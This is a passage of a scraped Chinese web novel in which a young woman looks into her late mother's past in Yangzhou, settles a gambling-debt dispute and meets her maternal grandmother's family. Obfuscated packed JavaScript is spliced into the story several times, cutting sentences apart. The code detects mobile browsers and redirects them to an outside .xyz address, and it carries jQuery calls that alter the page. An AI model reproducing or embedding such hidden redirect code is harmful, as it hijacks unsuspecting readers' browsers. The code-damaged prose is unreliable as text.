赵钱哪敢说半个不字，他只能认命的和阿烟猜拳。 第一局，赵钱胜了。 “嘿嘿，我赢了。” 他喜笑颜开的就要往外跑，又被阿烟拽了回来。 沈晚眠假模假样的叹了口气，表情十分无奈。 “唉……都说了你太心急，规则还没讲完呢，三局两胜。” 赵钱隐隐约约感觉她在玩自己，但他又找不到证据。 只能陪着笑脸继续和阿烟猜拳。 第二局，他又赢了。 这下他底气更足，脚底像是抹了油般，出溜一下就要往外跑。 可惜又被阿烟提了回来。 沈晚眠的叹息声更重，她靠在门框上，“惋惜”的替赵钱摇了摇头。 “唉，忘了告诉你，赢得人要被输的人打一顿才能走。” 赵钱这回彻底明白了，这俩就是在玩他。 比他气急败坏的辱骂先来的，是阿烟的拳头。 阿烟将他按在地上狠狠揍了一顿。 吉祥也趁乱跳出来，对着赵钱踩了两脚。 “别打了，别打了，我不要她了，也不要钱了还不行……” 阿烟听到这话更来气。 “你还敢要钱？！” 赵钱委屈道：“本来就是她家欠我的，还不起了才拿侄女抵债，我好心同意了，结果她自己又反悔，这能赖我吗？” 赵嫣然听了他的话双目变得猩红。 她歇斯底里的朝赵钱吼道：“是他欠你的，你去找他要！我不是他的侄女！不是！！” 吉祥被她吓的退后两步。 刚才还好好的，怎么一下变成这副模样…… “阿烟，停手吧。” 阿烟最后踹了一脚地上的赵钱，随即退到一侧。 沈晚眠蹲下身，波澜不惊的眸子与赵钱平视。 “她欠你多少？” 赵钱脱口而出：“八万两。” 八万两！！！ 要知道，就算是朝中大臣，一年的俸禄也才几千两。 “还敢说谎！看我不打断你的狗腿！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214621|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阿烟怒喝一声，接着就要继续暴打。 赵钱赶紧往沈晚眠身后躲。 “我没说谎！不信你问她。” 三人看向孙嫣然，后者只沉默着不说话。 不说话就是默认。 沈晚眠依旧那般波澜不惊。 她语气平和，听不出丝毫情绪。 “好，我知道了。” 赵钱等了半天，也没见沈晚眠有下文。 这就完了？她为何不讲那句话？ 沈晚眠才不傻，八万两是什么很小的数目吗？她是什么很富有的人吗？ 别说她没有，就算她有，也不会轻易借给刚认识不到一个时辰的人。 “你还不走，挨打没够？” 赵钱懵懵的从地上爬起来。 见对方真的不整他，“咻”的一下便钻出去了。 他都跑出二里地，又折返回来挑衅沈晚眠等人。 “你们给我等着，真当小爷好欺负是吧，告诉你们，你们死定了。” 阿烟朝他挥了挥拳头，赵钱又脚底生风的跑了。 沈晚眠懒得搭理他，她来到孙嫣然身边，柔声问道。 “孙小姐是吧，你还好吗？” 第一眼她就看出来了，这姑娘是个性格刚烈的。 孙嫣然板着脸，强装镇定。 “我没事，多谢二位出手相助。” 沈晚眠继续问道：“没事就好，刚才他说的欠他钱的人是……” 孙嫣然的脸色更冷了。 “他跑了，他欠了很多赌债，想要拿我抵债。” 又是一位可怜人…… “你们是谁，为何来我家？” 听她们的口音应该不是当地人。 她不觉得会有人来扬州游玩，恰好能从她家门口路过。 “实不相瞒，孙小姐，我们是特意来找你的。” 孙嫣然警惕道：“找**什么？” 不会是那人又欠了赌债…… “你误会了，我们是来找你打听人的。” “打听谁？” “李园园。” 听到李园园的名字，孙嫣然的眼中，似是燃起一团愤恨的火。 “你是她什么人，打听她做什么？！” 沈晚眠很难不怀疑，如果她说自己是李园园的女儿， 对方下一秒就会将她赶出家门。 第96章 姨母 “我叫沈书玉，李园园是我早亡的嫡母。” 吉祥吃惊的瞪大双眼。 她家小姐真是……无所不用其极。 为了达到目的啥话都能说出口。 沈晚眠脸不红心不跳，继续扯谎道：“她都**这么久，还霸占着我家主母的位置，实在可恶。” “我想让我娘做主母，这样我就是家中嫡长女，所以才专门跑到这里跟你打听。” 孙嫣然对她的话半信半疑。 即便她说的是真的，她也不想将那段不堪的往事揭露。 “你们走吧，我什么都不知道。” 刚才她那般反应，怎么可能什么都不知道。 不过就她现在的状况，多说也无益。 如果硬要问，恐怕会适得其反。 不如寻个合适的时机，再来问她。 “既如此便不打扰了，阿烟，吉祥，咱们走吧。” 沈晚眠想到什么，离开的脚步突然一顿。 “对了，孙小姐，我还不知道你的全名。” “孙嫣然。” 三人踏出门槛。 吉祥率先忍不住发问：“小姐，咱们就这么走了？” 剑也拔了，路也平了。 都不多问两句就要走? 她家小姐何时做过亏本的买卖。 而且她明显是知道这件事的啊。 沈晚眠伸手敲了一下吉祥的脑袋。 “走，去街上给你买点核桃补补脑。” 阿烟也学着沈晚眠的动作，敲了一下吉祥。 “补补脑。” 阿烟捂着脑袋，不满的追上二人。 “我是笨蛋，你们聪明，行了吧。” 三人的背影逐渐变的模糊。 孙嫣然扶着门框，目光晦暗的盯着沈晚眠。 三人回到徐府。 沈晚眠直奔徐母而去。 孙嫣然不简单，孙家更不简单。 要想弄清当年到底发生了什么，她必须要先了解孙嫣然。 “伯母，您只答应了李家不透露我母亲的事，我现在要问的是孙家的过往，这个总可以告诉我吧。” 沈晚眠和徐母讲了许多徐娇娇在宫里的趣事，将徐母逗的合不拢嘴。 见徐母对自己放松了警惕，她赶紧趁热打铁问出自己的问题。 “好吧，你说的对，孙家的事，也算不得什么秘。” 徐母叹了一口气，将孙家的变迁娓娓道来。 “要说这孙家，也算是经历了大起大落。” “孙家原本就是一户普通人家，机缘巧合下，做起了丝绸生意。” “更巧的是，那年丝绸价格暴涨，孙家也因此得以发家。” “后来，孙夫人接连诞下两位儿郎，兄长取名为“文”，老二取名为“建”，就这么一晃数十年，两个儿郎都长大了。” “兄长的确如孙家夫妇期待的那般，成为了远近闻名的才子，可老二却不学无术，整日只知道花天酒地，到处享乐。” 说到这里，徐母又叹了一口气。 “一场意外，孙家夫妇双双殒命，只留下两位儿郎和万贯家财。” “只是再多的银子，也经不起挥霍。没有了掌门人，孙家的生意一落千丈，这个时候孙建又染上了赌，几乎全部的家当都被他给输了个空。” 听到这里，沈晚眠基本可以确定，孙建就是那个欠赵钱银子的人。 “孙嫣然是孙文的孩子？” 徐母点了点头，接着又摇摇头。 “孙嫣然不是亲生的，是孙文捡来的。” “那孙文后来怎么样了？” 徐母惋惜道：“**，**……” 难怪今日在孙家，只瞧见了孙嫣然一人。 估计孙建欠了债，不敢出现，找了个无人的地方躲起来了。 “什么时候死的？” 徐母有些犹豫，但还是回答了她。 “很久之前，应该有十几年了。” 沈晚眠继续追问：“他是**的？” 徐母不说话了，只用意味深长的眼神看着她。 沈晚眠立马明白过来。 看来孙文的死，和她母亲有关。 怪不得今日孙嫣然那般激动。 这件事怪的很，明明是追查她母亲的死因，怎么又扯出另一桩命案？ 翌日，沈晚眠找到孙嫣然时，她正在街上卖香囊。 她都打听过了，孙嫣然能活到现在，全靠自己的头脑。 孙文死后，孙建不管她，还整日拿家里的东西出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214622|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去变卖。 孙嫣然不愿意，她觉得那是孙文留给她的东西，便经常给孙建使绊子。 被孙建发现后，孙嫣然每次都逃不了一顿毒打。 要不是她机灵会赚些小钱。 估计早就被孙建打了。 “老板，香囊怎么卖的？” 沈晚眠十分自然的来到孙嫣然摊前。 甚至还认真的挑起了香囊。 孙嫣然不吃她这套，她直接讲话挑明。 “我说了，李园园的事，我不知道。” 见她态度恶劣，吉祥忍不住掐着腰上前理论。 “诶，你怎么说话呢？我家小姐问你，香囊怎么卖的，你是没听见吗？” 沈晚眠在心底默默为吉祥鼓掌。 面上却不显。 她假惺惺道：“快退下！怎么能对孙小姐无礼，孙小姐不愿意做咱的生意，咱去别处便是。” 孙嫣然既无语，又生气。 她还演上瘾了是吧。 “一两银子一个，买不买？不买别耽误我做生意。” 吉祥嗤笑一声，她穷疯了吧，这破玩意敢卖一两银子！？ 她深吸一口气，刚要发作，却被沈晚眠打断“作法”。 沈晚眠捂住吉祥的嘴，随和朝孙嫣然挤出一个和善的笑。 “我要五个……不……十个，劳烦孙小姐帮我包起来。” 孙嫣然愣了一瞬，想不到她真的买了…… 不过她手上的动作可没停，很快便将十个香囊包好。 沈晚眠从荷包里掏出十两银子递给她。 随后一手拿着香囊，一手捂着吉祥的嘴，就要转身离开。 这时，一对衣着华贵的母女，说说笑笑着同沈晚眠擦肩而过。 她整个人仿佛被定在原地，心跳瞬间漏了一拍。 那位是……姨母！！ 上一世她与表兄相认后，曾在表兄府中与姨母有一面之缘。 当时姨母对自己的态度淡淡的，说不上抵触，但也绝对不算热切。 更多是陌生和疏离之感。 当时她不理解。 现在的她，终于明白了。 从小和自己一同长大的亲妹妹，长大后却不得不远嫁京城。 与她分离。 第97章 变故 她甚至都没见到妹妹最后一面，妹妹就因产子不幸离世。 苏倩儿说的对，自己也是杀害母亲的凶手之一…… “小姐，你怎么了？” 吉祥感觉嘴上的力度松下来了，便赶紧挣脱开束缚。 结果一回头，就看见沈晚眠失神的模样。 刚才不是还好好的吗？ 沈晚眠隐藏住眼底的情绪。 “没事，咱们走吧。” 如果被姨母注意到，就麻烦了。 沈晚眠拉着吉祥头也不回的快步离开。 孙嫣然将沈晚眠的反应看在眼里。 她微微眯起眼，嘴角勾起一抹讽刺的笑。 刚才过去的是李家母女。 看来这位“沈书玉”，没对她说实话啊…… “小姐，咱们要回去吗？” 吉祥见沈晚眠一副失魂落魄的模样，声音都忍不住放轻。 沈晚眠摇了摇头，面色凝重道：“不，去找阿烟。” 她原本想着来日方长，可以慢慢和孙嫣然交手。 姨母的出现，让她产生的了危机感。 扬州城这么大，她都能遇见李家的人。 听说表兄已经回来了，万一哪日她不小心和表兄撞上，就完蛋了。 先不说母亲的事。 表兄既然敢在御前说与她的婚事，说明李家已经同意了。 若她此时回到李家，又是一笔烂账…… “对哦，阿烟去哪里了？” 今日一早她就发现阿烟不见了，小姐的事一忙起来，她倒将这茬给忘了。 “城外，茅草屋。” 她们进城那日，吉祥发现了一间没人住的茅草屋。 沈晚眠特意留意了一下，以备不时之需。 这不就用上了。 二人赶到茅草屋时，阿烟正气定神闲的坐在凳子上喝茶。 她的脚边还躺着一个五花大绑，不知死活的中年男人。 吉祥被突然出现的男人吓了一跳。 她哆哆嗦嗦的指着男人，说话都结巴了。 “他……他他是谁？” 沈晚眠绕过男人坐到另一侧。 “孙建。” 吉祥更糊涂了。 “孙建是谁？” 话刚出口，她似乎想到了什么。 于是神情变得有些激动，音量也抬高。 “欠钱的那个，孙嫣然的那个……那个……亲戚。” 沈晚眠倍感欣慰。 看吉祥的眼神也带上不易察觉的慈祥。 她怎么有种吾家有女初长成的错觉。 吉祥又惊呼一声：“阿烟，他是你找到的？” “废话。” “你从哪找到他的？你好厉害！” 从前她觉得阿烟就是绣花枕头，除了轻功好点，打架厉害点，其他也没什么大不了的。 今日她才意识到，阿烟真的很厉害。 阿烟傲娇的轻哼一声。 “我的本事多了去了，哪能让你都知道。” 吉祥转惊为喜，她兴冲冲的来到沈晚眠身边。 “那我们是不是可以跟孙嫣然好好谈谈了。” 沈晚眠微微颔首。 昨日她从徐母那里回来，便立马吩咐阿烟去找孙建。 她知道，如果想撬开孙嫣然的嘴，就得帮她解决了孙建这个麻烦。 赵钱的账说到底是孙建欠的，只要找到他，便可解决了孙嫣然的危机。 “把他带上，咱们去找赵钱。” 阿烟有些错愕：“不再等等了吗？” 昨日她还说要一步一步来。 先将孙建抓住，等日后再另行处置。 “不等了，越拖变故越多。” 三人带着还在昏迷中的孙建来到赵府门前。 吉祥上前跟侍卫说明情况，却拧着眉回来了。 “怎么了？” 吉祥挠挠头，语气十分不解。 “真是奇怪，赵钱不在，还是被孙嫣然叫走了。” “孙嫣然怎么会主动来找他呢？” 沈晚眠也搞不懂孙嫣然。 照理说她不应该躲着赵钱吗？怎么还主动送上门？ 她与赵钱之间，本无联系，是因为孙建二人才产生关联。 孙建又欠了赵钱的银子。 孙嫣然找赵钱，只能因为这个。 毕竟昨日她赶到时二人还没发生实质性的冲突。 孙嫣然……赵钱……银子…… 该不会…… “吉祥，你再去问问，他们往什么方向去了？是不是李家的方向？” 吉祥很快过来回话。 “对，他们的确是往李家去了。” 沈晚眠一惊，这下糟了！！！ 她被孙嫣然坑了！ “快，快掉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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人多眼杂，她怕赵建醒了，自己跑了。 阿烟担忧道：“可是小姐，您怎么办？” 如今徐家形势不明，她怎么能让小姐自己去闯这龙潭虎穴？ 第98章 相认 “阿烟，听话。” 沈晚眠递给她一个放心的眼神。 便转身挤进人群。 徐家大厅里，李老夫人万分焦急的坐在主位。 她时不时往外张望，手也紧紧攥着。 “回来了吗？” 徐父擦了擦额头的汗，恭敬回复道：“已经差人去找了，老夫人莫急。” 就在刚才，他用过早膳，刚准备去铺子里。 守门的小厮匆忙来报，李家来了一群人，说是来找自家外孙女。 徐父得知后赶紧将人请进门。 并告诉老夫人沈晚眠出门了。 老夫人心急的很，都想自己去找外孙女。 最后还是他和李家众人好说歹说，才将老夫人劝下。 等安顿完老夫人，他才注意赵钱和孙家女娘也在后面跟着。 徐父瞬间不淡定了。 赵钱为何会在此先不说。 李家人知道沈晚眠在他府上，八成是孙家女娘告的状。 这样一来李老夫人会不会觉得自己不守承诺，擅自将当**告知沈晚眠。 赵钱也不好受。 他本来是想去李家找回公道。 谁知人家压根没把他当回事，最后还被迫跟着来到徐府。 沈晚眠赶到时，赵钱第一个反应过来。 他挽起袖子向前几步。 “上次的事老子还没找你算账，今日你家里人都在，正好让他们评评理……” 赵钱的话还没说完，就被李家的护卫押到一边。 越过满屋子的人，沈晚眠只看到神情激动的李老夫人。 李老夫人看到沈晚眠的第一眼，便想到了自己苦命早亡的**。 她激动的直接站起身，嘴唇都止不住颤抖。 像！太像了…… 恍惚间，她好像看到了园园的身影。 李老夫人颤颤巍巍的走下台，身边的李执赶紧扶住母亲。 看着朝自己走来的外祖母。 沈晚眠心中五味杂陈。 她从前经常想自己如果见到外祖母，会是什么心情。 她想过很多种可能，都没想过，自己的内心竟然会如此平静。 想象中的激动，欣喜，都没有。 刚才想的不甘，怨愤，也没有。 除了有些不知所措，和对徐家的担忧。 李老爷子去的早，李家的基业，多半都是李老夫人打下的。 李家能有今日，可以说大部分都是老夫人的功劳。 平日那个雷厉风行，做事干脆狠厉的李家掌门人。 此刻就像一位普通老人看着家中子女一般，对着沈晚眠好一通打量。 “昭昭，这是外祖母。” 见沈晚眠不为所动。 站在一旁的李言初不由得开口提醒。 沈晚眠僵硬道：“外祖母……安。” 她实在不知该说什么，只能向老夫人问安。 李老夫人蓦然红了眼眶，颤声道：“好……好，你都长这么大了……” 都怪自己，当初园园的死讯传来，她痛苦万分，觉得是自己害**园园。 悲愤之下，竟足足晕了七日。 李执和李茵茵第一次见母亲这般伤心。 一个个都慌了神。 父亲去的时候，他们兄妹三人都还小。 母亲也不像这般难过。 可见小妹的死对母亲的打击有多大。 因此他们便心照不宣的故意不在母亲面前提小妹。 虽然他们也很痛心，但为了母亲不得不如此。 所有人都刻意回避沈晚眠的存在，就连老夫人自己都不敢去想。 日子久了，这个人好像就真的不存在了。 如今被他们刻意忘却的人就这么活生生的站在他们身边。 李执和李茵茵都有些茫然。 虽然他们早就知道了她的存在，也知道言初与她就要成婚。 这场认亲除了李老夫人和李言初，没有一人是欣喜感动的。 李悦茹扯了扯母亲的袖子。 有些好奇道：“她就是小姨拼死生下的孩子？怎么感觉冷冰冰的。” 李悦茹对这位从未见过面的表妹，实在说不上喜欢。 也不知道表兄到底喜欢她什么，才相识短短几月，便要与她成婚。 李茵茵敲了一下女儿的脑袋：“别乱说。” 万一被有心人听去了还以为她家不想认这个外孙女。 李悦茹撇撇嘴，悄悄移动到李言初身边。 “小言子，这就是你信里讲的活泼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是谁？” 李悦茹瞪大双眼，这是来和表兄抢人？ 沈怀瑾脸上的笑容不变，他微微低头，算是尽了礼数。 “小生不才，乃是这位姑娘之兄长。” 接着他又从容解释道：“家妹才刚年满十六，还请各位放家妹一马。” 言下之意不就是在说他们李家想强娶豪夺吗。 李执冷声道：“既是误会，说开了就好了，公子放心就是，舍妹我们就不高攀了。” 李老夫人气的拿起旁边的拐杖，重重敲了李执的脑袋。 “你下去，还轮不到你来嫌弃我外孙女！” 李执捂着脑袋还想辩解，却在触及到沈老夫人极具压迫感的目光后，又默默把话咽了下去。 最后他只能生气的退到一边。 “昭昭，别听你舅舅的，跟外祖母回去吧……” 李老夫人的语气近乎哀求。 饶是自认为心狠的沈晚眠，也实在说不出拒绝的话。 “想让家妹回李家也可以，带上小生一同前往即可。” 沈怀瑾悄悄朝李言初使眼色。 对方立马上道：“我与沈兄也好久未见，不如就请沈兄一同去寒舍暂住。” “好，就这这么定了。” 二人你一言我一语，压根不给沈晚眠插嘴的机会。 沈晚眠狠狠瞪了沈怀瑾一眼。 他到底在搞什么？ 沈怀瑾压低声音道：“一会再跟你解释，放心，不会耽误你的事。” 有了沈怀瑾的保证，沈晚眠也不再抵抗。 李言初来到赵钱身边。 他让侍卫将他放开。 赵钱终于得了自由，他本就是想讨回公道，结果又被人欺负。 此刻他想发火，却又怕李家的侍卫。 最后这些情绪，全都化作委屈，从眼底爬了出来。 他有什么错？别人欠了他钱，他不过是去要债。 砸那些破家具也只是想吓唬吓唬孙嫣然。 再说等孙嫣然嫁给他，哪里还用得上那些破玩意。 谁知却被多管闲事的几个女娘揍了。 孙嫣然告诉他那日揍他的是李家的外孙女，他就想着去李家讨个说法。 结果李家压根不搭理他，还莫名其妙的带他来了徐家。 现在又把他押起来，堵住他的嘴。 一转眼罪魁祸首孙嫣然跑了，只留他一人在这。 她倒是全身而退，自己还得跟李家人对峙。 他算是看清了，一个两个都不是什么好东西。 李言初有些诧异，他怎么哭了？ “赵兄的事在下都知道了，是我表妹不对，不该出手**，还望赵兄见谅。” 被忽视了这么久，突然出现了个有礼貌的人，还跟他道歉。 赵钱突然觉得自己也不是那么委屈了。 “没事，本来也没多大点事嘛，男子汉大丈夫，不与她们女娘计较。” 李言初微微一愣，这是把自己哄好了？ “多谢赵兄谅解，听说赵兄最近想做酒楼生意，我家刚好在西市有块地还荒着，不如就赠与赵兄，全当赔礼了。” 赵钱心中一喜，他早就看中李家那块地。 只是这段时日账面上的银子不够，他才想着催账。 孙建好赌成性，早已不知欠了他家赌馆多少银子。 他知道孙建不可能还上，便下了禁止他进入赌场的禁令。 本来他都自认倒霉了，可如今刚投了一笔新买卖，手头实在紧，只能去向孙建要账。 结果对方直接跑路，还说要用他家的侄女抵债。 他也是没招了，看孙嫣然长的还可以，才想勉强同意。 结果孙嫣然还不乐意了。 还打了他一拳，这搁谁谁不生气。 不过如今也算因祸得福，不费一两银子得到了那片地。 众人就要离开，沈晚眠突然想到自己来的目的。 她有些为难的看向徐父。 要不是因为她，徐家也不会受到牵连…… 李老夫人看出她的心事，便在临行前特意开口道：“能和昭昭团聚，多亏了贵府相助。” 徐父忐忑不安的心终于放下。 “老夫人言重了。” 去李府的路上，沈怀瑾和沈晚眠坐在同一辆马车。 沈晚眠抱着胳膊，眼神冰冷的看着沈怀瑾。 “你最好给我一个合理的解释。” 沈怀瑾清了清嗓子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230015|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么跟你兄长说话呢？今日要不是我在，你就该稀里糊涂的嫁给李言初了。” 沈晚眠被他的话气笑。 难道她自己不会解释吗？她又不是没长嘴。 “说重点！” 沈怀瑾叹了一口气，这丫头怎么长得？ 脾气越来越暴躁了。 还是小时候可爱。 “殿下来了，他说他来不合适，让我过来帮你解围。” 他怎么来了？他来干什么？ 不过这次他没自己出面，反倒让沈怀瑾来，有进步啊。 不错，做事懂得动脑子了。 “你们来干什么？” 沈怀瑾哼了一声。 “就不告诉你。” 沈晚眠无语，不说就不说，她又不是很想知道。 到了目的地后，沈晚眠赶紧下车找到阿烟。 此时的孙建已经醒了。 他被阿烟绑住手脚，动弹不得，嘴里也被塞了抹布。 见到沈晚眠，他用力挣扎了几下，还发出呜咽的声音。 阿烟踹了他一脚，警告他老实点。 沈晚眠看着他的眼睛，失了片刻的神。 这双眼睛好熟悉，总感觉好像在哪里见过。 不过眼下没有时间让她细想。 “我去跟表兄说一声，你先看好他，别让他发出动静。” 若想将人留在身边，必得有李家人帮她掩护。 她唯一能想到的，就是李言初。 而且她还得防备好别人，不能被其他李家人注意到她已经开始调查母亲的事。 沈晚眠找到李言初，对方却有意回避她。 “先去休息吧，别的事咱们以后再谈。” 李言初想要逃，却被沈晚眠伸手拦下。 “表兄，我有件事想要拜托你。” 李言初有些懵：“什么？” 原来不是和他说婚约的事。 “我想让你帮我藏一个人，藏在李府，不会被任何人发现的地方。” 李言初正了正神色。 “好，你跟我来。” 在李言初和沈怀瑾的帮助下，沈晚眠成功绕过李家众人，将孙建藏了起来。 随后李言初又领着沈晚眠和沈怀瑾，去到为他们安排的房间。 第100章 故居 沈晚眠刚到院子外，又被李老夫人身边的灵锁又请走了。 此刻老夫人已经恢复了平静，她端坐主位，面容慈爱的将沈晚眠唤到身旁。 又对李言初道：“言初，我有些话想单独跟昭昭讲，你先下去吧。” 李言初与沈晚眠面面相觑，有些不明白老夫人的意思。 虽然不解，但李言初还是乖乖照做。 李言初走后，老夫人又将屋里伺候的人都遣了出去。 一时间，偌大的房间，只剩李老夫人和沈晚眠两人。 沈晚眠不解问道：“您这是……” “现在只剩咱们祖孙二人，外祖母接下来要问你的话，你要如实告知。” 李老夫人是什么人。 她在商界厮杀半生，什么样的人没见过。 见到沈晚眠第一眼，她就明白，这个外孙女，心事不是一般的重。 沈晚眠愣了一瞬，果然姜还是老的辣。 自己还需小心应对，争取少暴露一点。 “你和言初，到底怎么回事？” 老夫人语气担忧道。 她不想掺和小辈们的情情爱爱。 但言初是李家唯一的男丁，昭昭又是她刚寻回的外孙女。 虽说方才沈家小子说二人的婚约是误会一场时，两人都没反驳。 但她能看出，言初对昭昭，是动了真心的。 只是昭昭的态度她目前还没有探清。 沈晚眠悄悄松了一口气。 原来这是问这个。 “就是兄长说的那样，误会一场罢了。” 李老夫人点点头，神情些许失落。 “好，好，既然是误会，解开了就好。” “不过你对言初，当真没有丝毫情意？” 老夫人能看出，她对这个表兄，比对李家其他人都要信任。 沈晚眠十分坚定的摇摇头。 “绝无半分。” 看她如此坚定，李老夫人知道，这桩亲事没可能了。 “好吧，不过外祖母有一句话要送给你。” “来世不可待，往事不可追。” 李老夫人意味深长的看着沈晚眠，似是警告，又似是劝解。 沈晚眠早就想到李老夫人会这般。 见到孙嫣然的那一刻，老夫人肯定就知道她在干什么。 不过还好李老夫人并未挑明。 沈晚眠的表情始终淡淡的。 “多谢外祖母赐教，孙女记下了。” 李老夫人摸着她的头，无奈的叹了一口气。 “去吧，去看看你的住处，那是你母亲以前的居所。” 沈晚眠跟着灵锁又回到刚才的院子前。 她抬起头，看到赫然几个大字。 “静月轩” 灵锁为她推开房门。 “沈小姐请进，这里便是小姐出阁前的院子。” 踏入院子，一股清香之气扑面而来。 院中的几棵桃花树，如今只剩下枯枝。 灵锁说，这是母亲幼时同兄长和姐姐一起种下的。 沈晚眠看着光秃秃的树枝，她似乎能想象到，春日时满院子桃花盛开的景象。 三位少年在树下嬉戏打闹，好不热闹。 她缓步上前，脚下的青石板路坑洼不平。 她的每一步，都是当年母亲所走过的。 角落处，那架秋千看着十分老旧。 但却被人保护的很好，没有要破败的迹象，只是留下了岁月的痕迹。 池塘的荷早已枯萎，只剩几株残荷无力的耷拉在水边。 “沈小姐，去房间里面看看吧。” 灵锁引着沈晚眠来到房间。 沈晚眠仔细打量着屋子里的陈设。 虽然久不住人，但屋里一尘不染，一看便知经常有人打扫。 “自从小姐走后，屋里就再没住过人，屋里的摆设也都和小姐走时一样，您看那幅没做完的画，还在那里挂着呢。” 沈晚眠顺着她指的方向看去，画上画的是……这间院子。 讲到这里，灵锁似乎有些触景生情，不过她很快便调整过来。 “您先休息吧，您的两位侍女去取东西了，待会她们便来了。” “您还有什么要吩咐的吗？” 沈晚眠面色平静如常：“没有了，多谢姑姑。” 灵锁离开后，沈晚眠来到那幅画前。 她刚想将画取下来，却被一旁堆积着的颜料盒子吸引。 这盒子怎么这么厚？ 她将干了的颜料盒子抱起，发现里面另有乾坤。 夹层里，静静躺着一本泛黄的书，看起来很有年头。 书本的第一页，赫然写着几一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230016|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大字。 “母亲，我好想你，来京城看看我好不好……” 这是出嫁前的母亲，留给外祖母的话！ 难怪她要在房间里放一幅未完成的画作。 她是想指引李老夫人看到这句话。 可惜这句话，至今都没被李老夫人发现吧…… 沈晚眠接着往后翻，发现中间几页都是空白的，直到第五页，才又有了字迹。 “不想嫁！好烦！我又不认识他！” 和她猜的差不多，母亲一点都不喜欢沈知舟。 至少不像传言那般，出嫁前满心欢喜。 至于嫁到沈府之后，她就不知道了。 随后她接着往后翻，又是好几页空白。 就在她以为后面什么都没有的时候，她又在书的最后几页看到了一句话。 “不想嫁，我又和他不熟。” 沈晚眠有些疑惑，上一页上写的不是不认识吗？ 怎么这页又写不熟？ 莫非写的不是同一个人？ 难道母亲还与旁人有过婚约？ 想到孙嫣然对母亲的恨意，她突然有了一个大胆的猜测。 莫非之前与母亲有婚约的，就是孙文！ 李家经商，孙家之前也经商。 而且都是扬州城里有名的经商大户。 两家联姻并不奇怪。 不过孙家没落的很快，李家应该不是在孙家没落后才与孙家订的婚约。 应是在孙氏夫妇在世时，定下的。 这样推算，或许母亲从小就被订下了与孙文的娃娃亲。 也不对，既然孙文和母亲有婚约，那为何又独自收养孙嫣然？ 她将剩下几页全部翻完。 除了这三页，其余都是空白。 看来想知道答案，只能去找孙嫣然了。 沈晚眠将它收好，刚好这个时候阿烟和吉祥带着一堆人进了院子。 “小姐，你快出来看！” 吉祥兴奋的将沈晚眠从房间里拽出来。 她指着院子里的几个大的箱子，和数十名家仆。 “小姐，李公子说了，这些都是老夫人指给你的人。” 十几位家仆齐刷刷的向她鞠躬。 看着这么多监视她的人。 沈晚眠头都大了，偏偏吉祥这傻丫头高兴的不得了。 第101章 谈判 “小姐，你说我现在算不算是你身边最得力的大丫鬟，我是不是也能被人尊称为“姑姑”。” 吉祥越说越激动，眼睛里都在放光。 沈晚眠挤出一抹无奈的笑：“好好好，吉祥姑姑，劳烦您去安排他们。” 吉祥得了令，兴冲冲的去跟家仆立威。 沈晚眠趁机将阿烟叫到一边。 “去把沈怀瑾给我叫过来。” 阿烟应下，却没立马动身。 她担忧的看了一眼身后浩浩荡荡几十人。 “小姐，李老夫人派这么多人过来，你想好怎么应对了吗？” 想到后院还关着一个孙建，阿烟觉得沈晚眠日后想行动恐怕更难了。 “还没有，不过沈怀瑾说不会耽误我的事，我倒要看看，他能有什么办法。” 阿烟听后立马将沈怀瑾提到静月轩。 沈晚眠见他戴着面纱，不免有些疑惑。 